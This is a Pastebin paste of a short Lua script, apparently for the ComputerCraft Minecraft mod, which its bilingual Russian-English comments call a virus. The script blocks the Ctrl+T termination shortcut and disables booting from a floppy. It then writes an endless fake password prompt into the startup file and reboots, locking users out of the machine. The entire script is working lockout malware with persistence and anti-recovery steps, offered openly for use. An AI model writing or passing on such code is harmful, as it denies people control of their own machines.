Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- переменная с кодом вируса/the variable with the virus code
- local startupcode = [[
- os.pullEvent = os.pullEventRaw
- print("Lets play the game!")
- while true do
- print("Password:")
- local a = read()
- write("Good one, but no.")
- print("")
- end
- ]]
- -- команда, которая не дает выключить программу сояетанием Ctrl+T/the command, which does not shut down the program with Ctrl+T
- os.pullEvent = os.pullEventRaw
- -- команда, которая не дает перезагрузить компьютер с дискеты (изменение настроек компьютера)/the command, which does not restart the computer from floppy (change computer settings)
- settings.set("shell.allow_disk_startup", false)
- settings.save(".settings")
- -- копирование переменной в файл автозапуска/copying a variable in the startup file
- local virusfile = fs.open("startup", "w")
- virusfile.writeLine(startupcode)
- virusfile.close()
- os.reboot()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement